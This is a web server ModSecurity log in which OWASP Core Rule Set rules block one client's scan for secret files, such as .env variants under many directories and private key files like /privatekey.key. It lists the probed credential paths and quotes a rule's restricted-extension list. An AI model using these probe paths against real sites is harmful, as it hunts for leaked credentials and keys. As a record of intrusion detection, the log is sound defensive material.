[Mon Oct 26 07:05:08.990840 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at8z5CzBVbdmenz1Qplf2gAAACs"]
[Mon Oct 26 07:05:08.991137 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/shop/.env"] [unique_id "at8z5CzBVbdmenz1Qplf2gAAACs"]
[Mon Oct 26 07:05:08.994658 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /store/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at8z5C49vFDgOd_G0u5XIAAAACo"]
[Mon Oct 26 07:05:08.994875 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at8z5C49vFDgOd_G0u5XIAAAACo"]
[Mon Oct 26 07:05:08.995140 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/store/.env"] [unique_id "at8z5C49vFDgOd_G0u5XIAAAACo"]
[Mon Oct 26 07:05:09.012874 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at8z5ae0hdS5i1FYoSkSYAAAACw"]
[Mon Oct 26 07:05:09.013099 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at8z5ae0hdS5i1FYoSkSYAAAACw"]
[Mon Oct 26 07:05:09.013338 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at8z5ae0hdS5i1FYoSkSYAAAACw"]
[Mon Oct 26 07:05:09.052355 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at8z5RtqC-HENAKDpEgEnQAAABU"]
[Mon Oct 26 07:05:09.052595 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at8z5RtqC-HENAKDpEgEnQAAABU"]
[Mon Oct 26 07:05:09.052918 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at8z5RtqC-HENAKDpEgEnQAAABU"]
[Mon Oct 26 07:05:09.079238 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at8z5bGAWtzDWotfTvaiWQAAACU"]
[Mon Oct 26 07:05:09.079414 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at8z5bGAWtzDWotfTvaiWQAAACU"]
[Mon Oct 26 07:05:09.079646 2026] [security2:error] [pid 3019691:tid 3019691] [client 34.39.164.1:35292] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at8z5bGAWtzDWotfTvaiWQAAACU"]
[Mon Oct 26 07:05:09.126100 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at8z5f2f_7_KPo47JjIUcAAAAAk"]
[Mon Oct 26 07:05:09.126334 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at8z5f2f_7_KPo47JjIUcAAAAAk"]
[Mon Oct 26 07:05:09.126697 2026] [security2:error] [pid 3019670:tid 3019670] [client 34.39.164.1:35104] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at8z5f2f_7_KPo47JjIUcAAAAAk"]
[Mon Oct 26 07:05:09.127825 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at8z5ScSv4BJXPfRnP7RfwAAACg"]
[Mon Oct 26 07:05:09.127969 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at8z5ScSv4BJXPfRnP7RfwAAACg"]
[Mon Oct 26 07:05:09.128224 2026] [security2:error] [pid 3019694:tid 3019694] [client 34.39.164.1:35366] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at8z5ScSv4BJXPfRnP7RfwAAACg"]
[Mon Oct 26 07:05:09.204352 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at8z5SzBVbdmenz1Qplf2wAAACs"]
[Mon Oct 26 07:05:09.204715 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at8z5SzBVbdmenz1Qplf2wAAACs"]
[Mon Oct 26 07:05:09.204982 2026] [security2:error] [pid 3019697:tid 3019697] [client 34.39.164.1:35324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at8z5SzBVbdmenz1Qplf2wAAACs"]
[Mon Oct 26 07:05:09.209309 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at8z5S49vFDgOd_G0u5XIQAAACo"]
[Mon Oct 26 07:05:09.209458 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at8z5S49vFDgOd_G0u5XIQAAACo"]
[Mon Oct 26 07:05:09.209693 2026] [security2:error] [pid 3019696:tid 3019696] [client 34.39.164.1:35364] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at8z5S49vFDgOd_G0u5XIQAAACo"]
[Mon Oct 26 07:05:09.275401 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at8z5ae0hdS5i1FYoSkSYQAAACw"]
[Mon Oct 26 07:05:09.275645 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at8z5ae0hdS5i1FYoSkSYQAAACw"]
[Mon Oct 26 07:05:09.275916 2026] [security2:error] [pid 3019698:tid 3019698] [client 34.39.164.1:35216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at8z5ae0hdS5i1FYoSkSYQAAACw"]
[Mon Oct 26 07:05:09.277033 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at8z5bFCbpdt8WThhgVJwAAAACY"]
[Mon Oct 26 07:05:09.277196 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at8z5bFCbpdt8WThhgVJwAAAACY"]
[Mon Oct 26 07:05:09.277427 2026] [security2:error] [pid 3019692:tid 3019692] [client 34.39.164.1:35236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at8z5bFCbpdt8WThhgVJwAAAACY"]
[Mon Oct 26 07:05:09.278761 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at8z5QPZVv3Il2lbVePvmAAAAAQ"]
[Mon Oct 26 07:05:09.279033 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at8z5QPZVv3Il2lbVePvmAAAAAQ"]
[Mon Oct 26 07:05:09.279258 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at8z5QPZVv3Il2lbVePvmAAAAAQ"]
[Mon Oct 26 07:05:09.282703 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at8z5RtqC-HENAKDpEgEngAAABU"]
[Mon Oct 26 07:05:09.282876 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at8z5RtqC-HENAKDpEgEngAAABU"]
[Mon Oct 26 07:05:09.283122 2026] [security2:error] [pid 3019677:tid 3019677] [client 34.39.164.1:35170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at8z5RtqC-HENAKDpEgEngAAABU"]
